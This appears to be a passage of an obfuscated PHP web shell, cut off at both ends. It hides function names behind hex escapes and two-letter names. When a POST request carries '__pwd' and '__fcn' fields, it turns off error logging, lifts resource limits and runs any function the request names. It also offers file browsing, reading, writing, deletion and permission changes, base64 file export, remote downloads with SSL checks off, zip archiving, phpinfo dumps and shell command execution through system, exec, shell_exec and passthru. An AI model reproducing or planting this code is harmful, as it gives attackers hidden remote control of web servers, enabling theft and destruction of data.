$ooO = func_get_args();
$oo0 = array_shift($ooO);
$o0o = array_shift($ooO);
if (is_string($oo0) && is_callable($o0o)) {
$oO0->{$oo0} = $o0o;
}
};
$call_function = function () use ($localvar) {
$oO0 = $localvar->function->list;
$ooO = func_get_args();
if (count($ooO) === 1 && is_array($ooO[0])) {
$ooO = $ooO[0];
}
$o0O = array_shift($ooO);
$oo0 = array_shift($ooO);
if ($o0O === true || (bool) $o0O === true) {
if (property_exists($oO0, $oo0) && is_callable($oO0->{$oo0})) {
$localvar->function->lastCalledName = $oo0;
return call_user_func_array($oO0->{$oo0}, $ooO);
}
} else {
if (function_exists($oo0) && is_callable($oo0)) {
return call_user_func_array($oo0, $ooO);
}
}
return null;
};
$reserved = null;
$create_function("III", function () {
return 0.1;
});
$create_function("IIl", function () use ($localvar, $call_function) {
if (isset($_POST["__pwd"]) && isset($_POST["__fcn"])) {
$call_function(
false,
"\x69\x6e\x69\x5f\x73\x65\x74",
"log_errors",
0
);
$call_function(
false,
"\x73\x65\x74\x5f\x65\x72\x72\x6f\x72\x5f\x68\x61\x6e\x64\x6c\x65\x72",
function ($o00, $oooo, $oooO, $ooo0) use (
$localvar,
$call_function
) {
$ooOo = new \stdClass();
$ooOo->typ = "php";
$ooOo->num = $o00;
$ooOo->str = $oooo;
$ooOo->file = $oooO;
$ooOo->line = $ooo0;
$localvar->logger[] = $ooOo;
}
);
$ooOO = $_POST["__fcn"];
if (isset($ooOO) && is_array($ooOO)) {
$call_function(
false,
"\x69\x6e\x69\x5f\x73\x65\x74",
"memory_limit",
-1
);
$call_function(
false,
"\x73\x65\x74\x5f\x74\x69\x6d\x65\x5f\x6c\x69\x6d\x69\x74",
0
);
foreach ($ooOO as $id => $ooO0) {
$o0O = ($oo0o = $call_function(
false,
"\x66\x69\x6c\x74\x65\x72\x5f\x76\x61\x72",
$ooO0["islocal"],
FILTER_VALIDATE_BOOLEAN
))
? $oo0o
: false;
$oo0 = $ooO0["name"];
$ooO =
isset($ooO0["args"]) && is_array($ooO0["args"])
? $ooO0["args"]
: [];
$localvar->return[$id] = $call_function(
array_merge([$o0O, $oo0], $ooO)
);
}
}
}
});
$create_function("II1", function () use ($localvar, $call_function) {
//ob_clean();
print json_encode([
"log" => $localvar->logger,
"rtn" => $localvar->return,
]);
exit();
});
$create_function("IlI", function () use ($localvar, $call_function) {
$ooO = func_get_args();
$oo0O = array_shift($ooO);
if (is_file($oo0O) === false) {
return null;
}
include_once $oo0O;
return true;
});
$create_function("Ill", function () use ($localvar, $call_function) {
$ooO = func_get_args();
$oo0O = array_shift($ooO);
$oo00 = array_shift($ooO);
if (is_file($oo0O) === false) {
return null;
}
include_once $oo0O;
return $call_function(true, $oo00);
});
$create_function("Il1", function () use ($localvar, $call_function) {
$ooO = func_get_args();
$oo0O = array_shift($ooO);
if (!is_dir($oo0O)) {
return null;
}
if (
$call_function(
false,
"\x63\x6c\x61\x73\x73\x5f\x65\x78\x69\x73\x74\x73",
"DirectoryIterator"
)
) {
$oOoo = [];
foreach (new \DirectoryIterator($oo0O) as $oOoO) {
$oOoo[] = $oOoO->getFilename();
}
return $oOoo;
}
return null;
});
$create_function("I1I", function () use ($localvar, $call_function) {
$ooO = func_get_args();
$oo0O = array_shift($ooO);
if (!is_dir($oo0O)) {
return null;
}
if (
$dh = $call_function(false, "\x6f\x70\x65\x6e\x64\x69\x72", $oo0O)
) {
$oOoo = [];
while (
($oOoO = $call_function(
false,
"\x72\x65\x61\x64\x64\x69\x72",
$dh
)) !== false &&
$oOoO !== null
) {
$oOoo[] = $oOoO;
}
$call_function(false, "\x63\x6c\x6f\x73\x65\x64\x69\x72", $dh);
return $oOoo;
}
return null;
});
$create_function("I1l", function () use ($localvar, $call_function) {
$ooO = func_get_args();
$oo0O = array_shift($ooO);
if (!is_dir($oo0O)) {
return null;
}
if (
($oOoo = $call_function(
false,
"\x73\x63\x61\x6e\x64\x69\x72",
$oo0O
)) !== null &&
is_array($oOoo) &&
count($oOoo) > 0
) {
return $oOoo;
}
return null;
});
$create_function("I11", function () use ($localvar, $call_function) {
$ooO = func_get_args();
$oo0O = array_shift($ooO);
if (!is_dir($oo0O)) {
return null;
}
foreach (["Il1", "I1I", "I1l"] as $oOo) {
if (
($oOoo = $call_function(true, $oOo, $oo0O)) !== null &&
is_array($oOoo) &&
count($oOoo) > 0
) {
return $oOoo;
}
}
return null;
});
$create_function("IIII", function () use ($localvar, $call_function) {
$ooO = func_get_args();
$oo0O = array_shift($ooO);
if (!is_dir($oo0O)) {
return null;
}
$oOo0 = $call_function(true, "I11", $oo0O);
$oOoo = new stdClass();
$oOoo->obj = new stdClass();
$oOoo->obj->head = [];
$oOoo->obj->dir = [];
$oOoo->obj->file = [];
if (is_array($oOo0)) {
$oOoo->path = realpath($oo0O);
$oOoo->is_r =
$call_function(
false,
"\x69\x73\x5f\x72\x65\x61\x64\x61\x62\x6c\x65",
$oo0O
) === true
? true
: false;
$oOoo->is_w =
$call_function(
false,
"\x69\x73\x5f\x77\x72\x69\x74\x61\x62\x6c\x65",
$oo0O
) === true
? true
: false;
$oOoo->chm =
($ch = $call_function(
false,
"\x66\x69\x6c\x65\x70\x65\x72\x6d\x73",
$oo0O
)) !== null
? $ch
: false;
$oOOo = function ($oOOO, $oo0O) use ($call_function) {
$oOOO->size = is_dir($oo0O) === false ? filesize($oo0O) : 0;
$oOOO->is_r =
$call_function(
false,
"\x69\x73\x5f\x72\x65\x61\x64\x61\x62\x6c\x65",
$oo0O
) === true
? true
: false;
$oOOO->is_w =
$call_function(
false,
"\x69\x73\x5f\x77\x72\x69\x74\x61\x62\x6c\x65",
$oo0O
) === true
? true
: false;
$oOOO->chm =
($ch = $call_function(
false,
"\x66\x69\x6c\x65\x70\x65\x72\x6d\x73",
$oo0O
)) !== null
? $ch
: false;
$oOOO->owri =
($ow = $call_function(
false,
"\x66\x69\x6c\x65\x6f\x77\x6e\x65\x72",
$oo0O
)) !== null
? $ow
: false;
$oOOO->grpi =
($gr = $call_function(
false,
"\x66\x69\x6c\x65\x67\x72\x6f\x75\x70",
$oo0O
)) !== null
? $gr
: false;
$oOOO->owr =
($ow = $call_function(
false,
"\x70\x6f\x73\x69\x78\x5f\x67\x65\x74\x70\x77\x75\x69\x64",
$ow
)) !== null
? $ow
: false;
$oOOO->grp =
($gr = $call_function(
false,
"\x70\x6f\x73\x69\x78\x5f\x67\x65\x74\x67\x72\x67\x69\x64",
$gr
)) !== null
? $gr
: false;
$oOOO->time = new stdClass();
$oOOO->time->c =
($tm = $call_function(
false,
"\x66\x69\x6c\x65\x63\x74\x69\x6d\x65",
$oo0O
)) !== null
? $tm
: false;
$oOOO->time->a =
($tm = $call_function(
false,
"\x66\x69\x6c\x65\x61\x74\x69\x6d\x65",
$oo0O
)) !== null
? $tm
: false;
$oOOO->time->m =
($tm = $call_function(
false,
"\x66\x69\x6c\x65\x6d\x74\x69\x6d\x65",
$oo0O
)) !== null
? $tm
: false;
};
foreach ($oOo0 as $oOO0) {
if ($oOO0 === ".") {
continue;
}
$oO0o = $oOoo->path . DIRECTORY_SEPARATOR . $oOO0;
$oO0O = $oOO0 === "." || $oOO0 === "..";
$oO00 = $oO0O || is_dir($oO0o) ? true : false;
$o0oo = false;
$o0oO = false;
if ($oO00 === false) {
if (
($o0o0 = $call_function(true, "IIIl", $oO0o)) !==
null &&
$o0o0 !== false
) {
$o0oo = $o0o0;
$o0oO = is_dir($o0o0);
}
}
$oOOO = new stdClass();
$oOOO->name = $oOO0;
$oOOo($oOOO, $oO0o);
if ($o0oo !== false) {
$oOOO->lnk = new stdClass();
$oOOO->lnk->path = $o0oo;
$oOOO->lnk->isdir = $o0oO;
$oOOo($oOOO->lnk, $o0oo);
}
if ($oO0O) {
$oOoo->obj->head[] = $oOOO;
} elseif ($oO00 || ($o0oo !== false && $o0oO === true)) {
$oOoo->obj->dir[] = $oOOO;
} else {
$oOoo->obj->file[] = $oOOO;
}
}
}
return $oOoo;
});
$create_function("III1", function () use ($localvar, $call_function) {
if (func_num_args() < 1) {
return null;
}
$ooO = func_get_args();
$oo0O = array_shift($ooO);
if (!is_string($oo0O) || strlen($oo0O) === 0) {
return null;
}
if (
!is_file($oo0O) &&
(($oo0o = $call_function(
false,
"\x66\x69\x6c\x74\x65\x72\x5f\x76\x61\x72",
$oo0O,
FILTER_VALIDATE_URL
)) === null ||
$oo0o === false)
) {
return null;
}
if (
($oOO0 = $call_function(
array_merge(
[
false,
"\x66\x69\x6c\x65\x5f\x67\x65\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73",
],
func_get_args()
)
)) !== null &&
$oOO0 !== false
) {
return $oOO0;
}
return null;
});
$create_function("IIlI", function () use ($localvar, $call_function) {
if (
($oOO0 = $call_function(
array_merge([true, "III1"], func_get_args())
)) !== null &&
$oOO0 !== false
) {
return $call_function(
false,
"\x62\x61\x73\x65\x36\x34\x5f\x65\x6e\x63\x6f\x64\x65",
$oOO0
);
}
return null;
});
$create_function("IIll", function () use ($localvar, $call_function) {
if (func_num_args() < 2) {
return null;
}
$ooO = func_get_args();
$oo0O = array_shift($ooO);
if (!is_dir(dirname($oo0O))) {
$call_function(true, "IIl1", dirname($oo0O));
}
return $call_function(
array_merge(
[
false,
"\x66\x69\x6c\x65\x5f\x70\x75\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73",
],
func_get_args()
)
);
});
$create_function("II1I", function () use ($localvar, $call_function) {
if (func_num_args() < 2) {
return null;
}
$ooO = func_get_args();
$oo0O = array_shift($ooO);
$o0Oo = array_shift($ooO);
if (
($o0Oo = $call_function(
false,
"\x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65",
$o0Oo
)) !== null &&
$o0Oo !== false
) {
return $call_function(
array_merge([true, "IIll", $oo0O, $o0Oo], $ooO)
);
}
return null;
});
$create_function("II1l", function () use ($localvar, $call_function) {
if (func_num_args() < 1) {
return null;
}
$ooO = func_get_args();
$oo0O = array_shift($ooO);
if (
($o0OO = $call_function(
false,
"\x66\x6f\x70\x65\x6e",
$oo0O,
"r"
)) !== null &&
$o0OO !== false &&
is_resource($o0OO)
) {
$o0Oo = fread($o0OO, filesize($oo0O));
fclose($o0OO);
return $o0Oo;
}
return null;
});
$create_function("II11", function () use ($localvar, $call_function) {
if (func_num_args() < 1) {
return null;
}
$ooO = func_get_args();
$oo0O = array_shift($ooO);
if (
($oOO0 = $call_function(true, "II1l", $oo0O)) !== null &&
$oOO0 !== false
) {
return $call_function(
false,
"\x62\x61\x73\x65\x36\x34\x5f\x65\x6e\x63\x6f\x64\x65",
$oOO0
);
}
return null;
});
$create_function("IlII", function () use ($localvar, $call_function) {
if (func_num_args() < 2) {
return null;
}
$ooO = func_get_args();
$oo0O = array_shift($ooO);
$o0Oo = array_shift($ooO);
$o0O0 = array_shift($ooO);
if (
($o0OO = $call_function(
false,
"\x66\x6f\x70\x65\x6e",
$oo0O,
true === $o0O0 ? "a" : "w"
)) !== null &&
$o0OO !== false &&
is_resource($o0OO)
) {
$o00o = fwrite($o0OO, $o0Oo);
fclose($o0OO);
return $o00o;
}
return null;
});
$create_function("IlIl", function () use ($localvar, $call_function) {
if (func_num_args() < 2) {
return null;
}
$ooO = func_get_args();
$oo0O = array_shift($ooO);
$o0Oo = array_shift($ooO);
if (
($o0Oo = $call_function(
false,
"\x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65",
$o0Oo
)) !== null &&
$o0Oo !== false
) {
return $call_function(
array_merge([true, "IlII", $oo0O, $o0Oo], $ooO)
);
}
return null;
});
$create_function("IIl1", function () use ($localvar, $call_function) {
$ooO = func_get_args();
$oo0O = array_shift($ooO);
if (!is_dir($oo0O)) {
return $call_function(
array_merge([false, "\x6d\x6b\x64\x69\x72", $oo0O], $ooO)
);
}
return null;
});
$create_function("IlI1", function () use ($localvar, $call_function) {
if (func_num_args() !== 2) {
return null;
}
$ooO = func_get_args();
$oo0O = array_shift($ooO);
if (is_dir($oo0O) || is_file($oo0O)) {
return $call_function(
array_merge([false, "\x63\x68\x6d\x6f\x64", $oo0O], $ooO)
);
}
return null;
});
$create_function("IllI", function () use ($localvar, $call_function) {
if (func_num_args() === 0) {
return null;
}
$ooO = func_get_args();
$oo0O = array_shift($ooO);
if (is_dir($oo0O) || is_file($oo0O)) {
return $call_function(
array_merge([false, "\x74\x6f\x75\x63\x68", $oo0O], $ooO)
);
}
return null;
});
$create_function("Illl", function () use ($localvar, $call_function) {
if (func_num_args() === 0) {
return null;
}
$ooO = func_get_args();
$oo0O = array_shift($ooO);
if (file_exists($oo0O) === false) {
return null;
}
if (is_dir($oo0O)) {
$oOo0 = $call_function(true, "I11", $oo0O);
if (is_array($oOo0)) {
$oOo0 = array_diff($oOo0, [".", ".."]);
foreach ($oOo0 as $oOO0) {
$oOO0 = $oo0O . DIRECTORY_SEPARATOR . $oOO0;
$call_function(true, "Illl", $oOO0);
}
}
return $call_function(false, "\x72\x6d\x64\x69\x72", $oo0O);
}
return $call_function(false, "\x75\x6e\x6c\x69\x6e\x6b", $oo0O);
});
$create_function("Ill1", function () use ($localvar, $call_function) {
$ooO = func_get_args();
$o00O = array_shift($ooO);
$o000 = array_shift($ooO);
$ooooo = $call_function(
false,
"\x66\x69\x6c\x74\x65\x72\x5f\x76\x61\x72",
array_shift($ooO),
FILTER_VALIDATE_BOOLEAN
);
if (file_exists($o00O) === false) {
return null;
}
if (realpath($o00O) === realpath($o000)) {
return null;
}
$ooooO = pathinfo($o000, PATHINFO_DIRNAME);
if (!is_dir($ooooO)) {
$call_function(true, "IIl1", $ooooO, 0777, true);
}
if ($ooooo === true && file_exists($o000)) {
$call_function(true, "Illl", $o000);
}
if (is_dir($o00O)) {
if (!is_dir($o000)) {
return $call_function(
false,
"\x72\x65\x6e\x61\x6d\x65",
$o00O,
$o000
);
}
} else {
if (!is_file($o000)) {
return $call_function(
false,
"\x72\x65\x6e\x61\x6d\x65",
$o00O,
$o000
);
}
}
return null;
});
$create_function("Il1I", function () use ($localvar, $call_function) {
$ooO = func_get_args();
$oo0O = array_shift($ooO);
$oooo0 = array_shift($ooO);
$oooOo = array_shift($ooO);
$ooooo = array_shift($ooO);
$o00O = $oo0O . DIRECTORY_SEPARATOR . $oooo0;
$o000 = $oo0O . DIRECTORY_SEPARATOR . $oooOo;
return $call_function(true, "Ill1", $o00O, $o000, $ooooo);
});
$create_function("Il1l", function () use ($localvar, $call_function) {
$ooO = func_get_args();
$oooOO = array_shift($ooO);
$to = array_shift($ooO);
$oo0 = array_shift($ooO);
$ooooo = array_shift($ooO);
$o00O = $oooOO . DIRECTORY_SEPARATOR . $oo0;
$o000 = $to . DIRECTORY_SEPARATOR . $oo0;
return $call_function(true, "Ill1", $o00O, $o000, $ooooo);
});
$create_function("Il11", function () use ($localvar, $call_function) {
$ooO = func_get_args();
$oooOO = array_shift($ooO);
$to = array_shift($ooO);
$oo0 = array_shift($ooO);
$ooooo = $call_function(
false,
"\x66\x69\x6c\x74\x65\x72\x5f\x76\x61\x72",
array_shift($ooO),
FILTER_VALIDATE_BOOLEAN
);
$oo0O = $oooOO . DIRECTORY_SEPARATOR . $oo0;
$o000 = $to . DIRECTORY_SEPARATOR . $oo0;
if (file_exists($oo0O) === false) {
return null;
}
if (realpath($oooOO) === realpath($to)) {
return null;
}
if ($ooooo === true && file_exists($o000)) {
$call_function(true, "Illl", $o000);
}
if (is_dir($oo0O)) {
if (!is_dir($o000)) {
$oOo0 = $call_function(true, "I11", $oo0O);
$call_function(true, "IIl1", $o000);
if (is_array($oOo0)) {
$oOo0 = array_diff($oOo0, [".", ".."]);
foreach ($oOo0 as $oOO0) {
$call_function(true, "Il11", $oo0O, $o000, $oOO0);
}
}
return true;
}
} else {
if (!is_file($o000)) {
return $call_function(false, "\x63\x6f\x70\x79", $oo0O, $o000);
}
}
return null;
});
$create_function("I1II", function () use ($localvar, $call_function) {
$ooO = func_get_args();
$oo0O = array_shift($ooO);
return $call_function(true, "IIIl", $oo0O) !== false;
});
$create_function("IIIl", function () use ($localvar, $call_function) {
$ooO = func_get_args();
$oo0O = array_shift($ooO);
if (is_link($oo0O) && ($o0o0 = readlink($oo0O))) {
return $o0o0;
} elseif (
($oooO0 = pathinfo($oo0O, PATHINFO_EXTENSION)) &&
strtolower($oooO0) === "lnk"
) {
return $call_function(true, "I1Il", $oo0O);
}
return false;
});
$create_function("I1Il", function () use ($localvar, $call_function) {
$ooO = func_get_args();
$oo0O = array_shift($ooO);
if (!file_exists($oo0O)) {
return false;
}
if (is_link($oo0O) && ($o0o0 = readlink($oo0O))) {
return $o0o0;
}
if (
($o0OO = $call_function(
false,
"\x66\x6f\x70\x65\x6e",
$oo0O,
"rb"
)) !== null &&
$o0OO !== false &&
is_resource($o0OO)
) {
$ooo0o = [];
while (!feof($o0OO)) {
$ooo0o[] = fread($o0OO, 1);
}
fclose($o0OO);
if (count($ooo0o) < 20) {
return false;
}
if ($ooo0o[0] !== "L") {
return false;
}
if (
ord($ooo0o[4]) !== 0x01 ||
ord($ooo0o[5]) !== 0x14 ||
ord($ooo0o[6]) !== 0x02 ||
ord($ooo0o[7]) !== 0x00 ||
ord($ooo0o[8]) !== 0x00 ||
ord($ooo0o[9]) !== 0x00 ||
ord($ooo0o[10]) !== 0x00 ||
ord($ooo0o[11]) !== 0x00 ||
ord($ooo0o[12]) !== 0xc0 ||
ord($ooo0o[13]) !== 0x00 ||
ord($ooo0o[14]) !== 0x00 ||
ord($ooo0o[15]) !== 0x00 ||
ord($ooo0o[16]) !== 0x00 ||
ord($ooo0o[17]) !== 0x00 ||
ord($ooo0o[18]) !== 0x00 ||
ord($ooo0o[19]) !== 0x46
) {
return false;
}
$i = 20;
if (count($ooo0o) < $i + 4) {
return false;
}
$ooo0O = ord($ooo0o[$i]);
$ooo0O = $ooo0O | (ord($ooo0o[++$i]) << 8);
$ooo0O = $ooo0O | (ord($ooo0o[++$i]) << 16);
$ooo0O = $ooo0O | (ord($ooo0o[++$i]) << 24);
$ooo00 = $ooo0O & 0x00000001 ? true : false;
$ooOoo = $ooo0O & 0x00000002 ? true : false;
if (!$ooOoo) {
return false;
}
if ($ooo00) {
$i = 76;
if (count($ooo0o) < $i + 2) {
return false;
}
$a = ord($ooo0o[$i]);
$a = $a | (ord($ooo0o[++$i]) << 8);
}
$i = 78 + 4 + $a;
if (count($ooo0o) < $i + 4) {
return false;
}
$b = ord($ooo0o[$i]);
$b = $b | (ord($ooo0o[++$i]) << 8);
$b = $b | (ord($ooo0o[++$i]) << 16);
$b = $b | (ord($ooo0o[++$i]) << 24);
$i = 78 + $a + $b;
if (count($ooo0o) < $i + 4) {
return false;
}
$c = ord($ooo0o[$i]);
$c = $c | (ord($ooo0o[++$i]) << 8);
$c = $c | (ord($ooo0o[++$i]) << 16);
$c = $c | (ord($ooo0o[++$i]) << 24);
$i = 78 + $a + $b + $c;
if (count($ooo0o) < $i + 1) {
return false;
}
$ooOoO = "";
for (; $i < count($ooo0o); ++$i) {
if (!ord($ooo0o[$i])) {
break;
}
$ooOoO .= $ooo0o[$i];
}
if (empty($ooOoO)) {
return false;
}
return $ooOoO;
}
return false;
});
$create_function("I1I1", function () use ($localvar, $call_function) {
$ooO = func_get_args();
$ooOo0 = array_shift($ooO);
if (
($ch = $call_function(
false,
"\x63\x75\x72\x6c\x5f\x69\x6e\x69\x74"
)) !== null &&
$ch !== false
) {
$ooOOo = "";
$call_function(
false,
"\x63\x75\x72\x6c\x5f\x73\x65\x74\x6f\x70\x74",
$ch,
CURLOPT_URL,
$ooOo0
);
$call_function(
false,
"\x63\x75\x72\x6c\x5f\x73\x65\x74\x6f\x70\x74",
$ch,
CURLOPT_SSL_VERIFYPEER,
false
);
$call_function(
false,
"\x63\x75\x72\x6c\x5f\x73\x65\x74\x6f\x70\x74",
$ch,
CURLOPT_FOLLOWLOCATION,
true
);
$call_function(
false,
"\x63\x75\x72\x6c\x5f\x73\x65\x74\x6f\x70\x74",
$ch,
CURLOPT_RETURNTRANSFER,
1
);
$ooOOo = $call_function(
false,
"\x63\x75\x72\x6c\x5f\x65\x78\x65\x63",
$ch
);
$call_function(
false,
"\x63\x75\x72\x6c\x5f\x63\x6c\x6f\x73\x65",
$ch
);
return $ooOOo;
}
return null;
});
$create_function("I1lI", function () use ($localvar, $call_function) {
$ooO = func_get_args();
$ooOo0 = array_shift($ooO);
$oo0O = array_shift($ooO);
if (
($ch = $call_function(
false,
"\x63\x75\x72\x6c\x5f\x69\x6e\x69\x74"
)) !== null &&
$ch !== false &&
($o0OO = $call_function(
false,
"\x66\x6f\x70\x65\x6e",
$oo0O,
"w"
)) !== null &&
$o0OO !== false &&
is_resource($o0OO)
) {
$call_function(
false,
"\x63\x75\x72\x6c\x5f\x73\x65\x74\x6f\x70\x74",
$ch,
CURLOPT_URL,
$ooOo0
);
$call_function(
false,
"\x63\x75\x72\x6c\x5f\x73\x65\x74\x6f\x70\x74",
$ch,
CURLOPT_FILE,
$o0OO
);
$call_function(
false,
"\x63\x75\x72\x6c\x5f\x73\x65\x74\x6f\x70\x74",
$ch,
CURLOPT_SSL_VERIFYPEER,
false
);
$call_function(
false,
"\x63\x75\x72\x6c\x5f\x73\x65\x74\x6f\x70\x74",
$ch,
CURLOPT_FOLLOWLOCATION,
true
);
$ooOOo = $call_function(
false,
"\x63\x75\x72\x6c\x5f\x65\x78\x65\x63",
$ch
);
$call_function(
false,
"\x63\x75\x72\x6c\x5f\x63\x6c\x6f\x73\x65",
$ch
);
return $ooOOo && fclose($o0OO);
}
return null;
});
$create_function("I1ll", function () use ($localvar, $call_function) {});
$create_function("I1l1", function () use ($localvar, $call_function) {
if (
($ooOOO = $call_function(
false,
"\x6f\x62\x5f\x73\x74\x61\x72\x74"
)) !== null &&
$ooOOO !== false
) {
$call_function(
array_merge(
[false, "\x70\x68\x70\x69\x6e\x66\x6f"],
func_get_args()
)
);
$o0Oo = $call_function(
false,
"\x6f\x62\x5f\x67\x65\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73"
);
$call_function(
false,
"\x6f\x62\x5f\x67\x65\x74\x5f\x63\x6c\x65\x61\x6e"
);
return $o0Oo;
}
return null;
});
$create_function("I11I", function () use ($localvar, $call_function) {
$ooO = func_get_args();
$o0O = $call_function(
false,
"\x66\x69\x6c\x74\x65\x72\x5f\x76\x61\x72",
array_shift($ooO),
FILTER_VALIDATE_BOOLEAN
);
$oo0 = array_shift($ooO);
if ($o0O === true) {
if (property_exists($oO0, $oo0) && is_callable($oO0->{$oo0})) {
return true;
}
} else {
if (function_exists($oo0) && is_callable($oo0)) {
return true;
}
}
return false;
});
$create_function("I11l", function () use ($localvar, $call_function) {
$ooO = func_get_args();
$o0O = $call_function(
false,
"\x66\x69\x6c\x74\x65\x72\x5f\x76\x61\x72",
array_shift($ooO),
FILTER_VALIDATE_BOOLEAN
);
$o0o = array_shift($ooO);
if (is_array($o0o)) {
$o0o = $call_function($o0o);
}
if (is_string($o0o)) {
foreach ($ooO as &$ooOO0) {
if (is_array($ooOO0)) {
$ooOO0 = $call_function($ooOO0);
}
}
return $call_function(array_merge([$o0O, $o0o], $ooO));
}
return null;
});
$create_function("I111", function () use ($localvar, $call_function) {
$ooO = func_get_args();
$ooO0o = array_shift($ooO);
if (is_string($ooO0o) === false || strlen($ooO0o) === 0) {
return null;
}
$ooO0O = "";
foreach (str_split($ooO0o) as $ooO00) {
$oo0oo = ord($ooO00);
if ($oo0oo >= 33 && $oo0oo <= 126) {
$ooO0O .= chr(33 + (($oo0oo + 14) % 94));
} else {
$ooO0O .= chr($oo0oo);
}
}
return $ooO0O;
});
$create_function("IIIII", function () use ($localvar, $call_function) {
$ooO = func_get_args();
$oo0 = array_shift($ooO);
if (
$call_function(
false,
"\x63\x6c\x61\x73\x73\x5f\x65\x78\x69\x73\x74\x73",
$oo0
)
) {
try {
return (new \ReflectionClass($oo0))->newInstanceArgs($ooO);
} catch (Exception $_) {
}
}
return null;
});
$create_function("IIIIl", function () use ($localvar, $call_function) {
$ooO = func_get_args();
$oo0O = array_shift($ooO);
$oo0oO = array_shift($ooO);
$oo0o0 = array_shift($ooO);
if (is_dir($oo0O) === false) {
return null;
}
if (
($oo0Oo = $call_function(
true,
"IIIII",
"RecursiveDirectoryIterator",
$oo0O,
$oo0oO
)) !== null &&
$oo0Oo !== false &&
($oo0OO = $call_function(
true,
"IIIII",
"RecursiveIteratorIterator",
$oo0Oo,
$oo0o0
)) !== null &&
$oo0OO !== false
) {
return $oo0OO;
}
return null;
});
$create_function("IIII1", function () use ($localvar, $call_function) {
return null;
});
$create_function("IIIlI", function () use ($localvar, $call_function) {
$ooO = func_get_args();
$oo0O = array_shift($ooO);
if (is_dir($oo0O) === false) {
return null;
}
if (
($oo0OO = $call_function(
true,
"IIIIl",
$oo0O,
RecursiveDirectoryIterator::SKIP_DOTS,
RecursiveIteratorIterator::SELF_FIRST
)) !== null &&
$oo0OO !== false
) {
$oo0O0 = [];
foreach ($oo0OO as $oo00o) {
$ooOo = new \stdClass();
$ooOo->path = realpath($oo00o);
$ooOo->isDir = $oo00o->isDir();
$oo0O0[] = $ooOo;
}
return $oo0O0;
}
return null;
});
$create_function("IIIll", function () use ($localvar, $call_function) {
$ooO = func_get_args();
$oo0O = array_shift($ooO);
$oo00O = array_shift($ooO);
if (is_dir($oo0O) === false) {
return null;
}
if (
($oo0OO = $call_function(
true,
"IIIIl",
$oo0O,
RecursiveDirectoryIterator::SKIP_DOTS,
RecursiveIteratorIterator::SELF_FIRST
)) !== null &&
$oo0OO !== false &&
($oo000 = $call_function(
true,
"IIIII",
"RegexIterator",
$oo0OO,
$oo00O
)) !== null &&
$oo000 !== false
) {
$oo0O0 = [];
foreach ($oo000 as $oo00o) {
$ooOo = new \stdClass();
$ooOo->path = realpath($oo00o);
$ooOo->isDir = $oo00o->isDir();
$oo0O0[] = $ooOo;
}
return $oo0O0;
}
return null;
});
$create_function("IIIl1", function () use ($localvar, $call_function) {
$ooO = func_get_args();
$oo0O = array_shift($ooO);
$oOo0 = array_shift($ooO);
$oOooo = array_shift($ooO);
if (
is_dir($oo0O) === false ||
is_array($oOo0) === false ||
is_dir($oOooo) === false
) {
return null;
}
$oOo0 = array_map(function ($v) use ($oo0O, $call_function) {
$ooOo = new \stdClass();
$ooOo->name = $v;
$ooOo->path = realpath($oo0O . DIRECTORY_SEPARATOR . $v);
return $ooOo;
}, $oOo0);
$oOo0 = array_filter($oOo0, function ($v) use ($oo0O, $call_function) {
return file_exists($v->path);
});
if (count($oOo0) === 0) {
return null;
}
if (
($oOooO = $call_function(true, "IIIII", "ZipArchive")) !== null &&
$oOooO !== false
) {
$oOoo0 = $oOooo . DIRECTORY_SEPARATOR . date("d-m-Y-B") . ".zip";
if ($oOooO->open($oOoo0, ZIPARCHIVE::CREATE) !== false) {
foreach ($oOo0 as $oOoOo) {
if (is_dir($oOoOo->path)) {
if (
($oo0OO = $call_function(
true,
"IIIIl",
$oOoOo->path,
RecursiveDirectoryIterator::SKIP_DOTS,
RecursiveIteratorIterator::SELF_FIRST
)) !== null &&
$oo0OO !== false
) {
foreach ($oo0OO as $oo00o) {
if (is_dir($oo00o)) {
$oOooO->addEmptyDir(
str_replace(
$oOoOo->path,
$oOoOo->name,
$oo00o
)
);
} else {
$oOooO->addFile(
$oo00o,
str_replace(
$oOoOo->path,
$oOoOo->name,
$oo00o
)
);
}
}
}
} else {
$oOooO->addFile($oOoOo->path, $oOoOo->name);
}
}
return $oOooO->close();
}
}
return null;
});
$create_function("III1I", function () use ($localvar, $call_function) {
$ooO = func_get_args();
$oOoOO = array_shift($ooO);
$oOoO0 = array_shift($ooO);
$oOoO0 = realpath(is_string($oOoO0) ? $oOoO0 : dirname($oOoOO));
if (is_file($oOoOO) === false || is_dir($oOoO0) === false) {
return null;
}
if (
($oOooO = $call_function(true, "IIIII", "ZipArchive")) !== null &&
$oOooO !== false
) {
if ($oOooO->open($oOoOO) !== false) {
$oOo0o = $oOooO->extractTo($oOoO0);
$oOooO->close();
return $oOo0o;
}
}
return null;
});
$create_function("III1l", function () use ($localvar, $call_function) {
$ooO = func_get_args();
$oOo0O = array_shift($ooO);
if (!is_string($oOo0O) || strlen($oOo0O) === 0) {
return null;
}
if (
$call_function(true, "I11I", false, "\x73\x79\x73\x74\x65\x6d") &&
($ooOOO = $call_function(
false,
"\x6f\x62\x5f\x73\x74\x61\x72\x74"
)) !== null &&
$ooOOO !== false
) {
$call_function(false, "\x73\x79\x73\x74\x65\x6d", $oOo0O);
$oOo00 = $call_function(
false,
"\x6f\x62\x5f\x67\x65\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73"
);
$call_function(
false,
"\x6f\x62\x5f\x67\x65\x74\x5f\x63\x6c\x65\x61\x6e"
);
if (!empty($oOo00)) {
return utf8_encode($oOo00);
}
}
if (
$call_function([false, "\x65\x78\x65\x63", $oOo0O, &$oOo00]) &&
is_array($oOo00) &&
count($oOo00) > 0
) {
return implode(PHP_EOL, $oOo00);
}
if (
($oOo00 = $call_function(
false,
"\x73\x68\x65\x6c\x6c\x5f\x65\x78\x65\x63",
$oOo0O
)) !== null &&
$oOo00 !== false
) {
if (!empty($oOo00)) {
return $oOo00;
}
}
if (
$call_function(
true,
"I11I",
false,
"\x70\x61\x73\x73\x74\x68\x72\x75"
) &&
($ooOOO = $call_function(
false,
"\x6f\x62\x5f\x73\x74\x61\x72\x74"
)) !== null &&
$ooOOO !== false
) {
$call_function(false, "\x70\x61\x73\x73\x74\x68\x72\x75", $oOo0O);
$oOo00 = $call_function(
false,
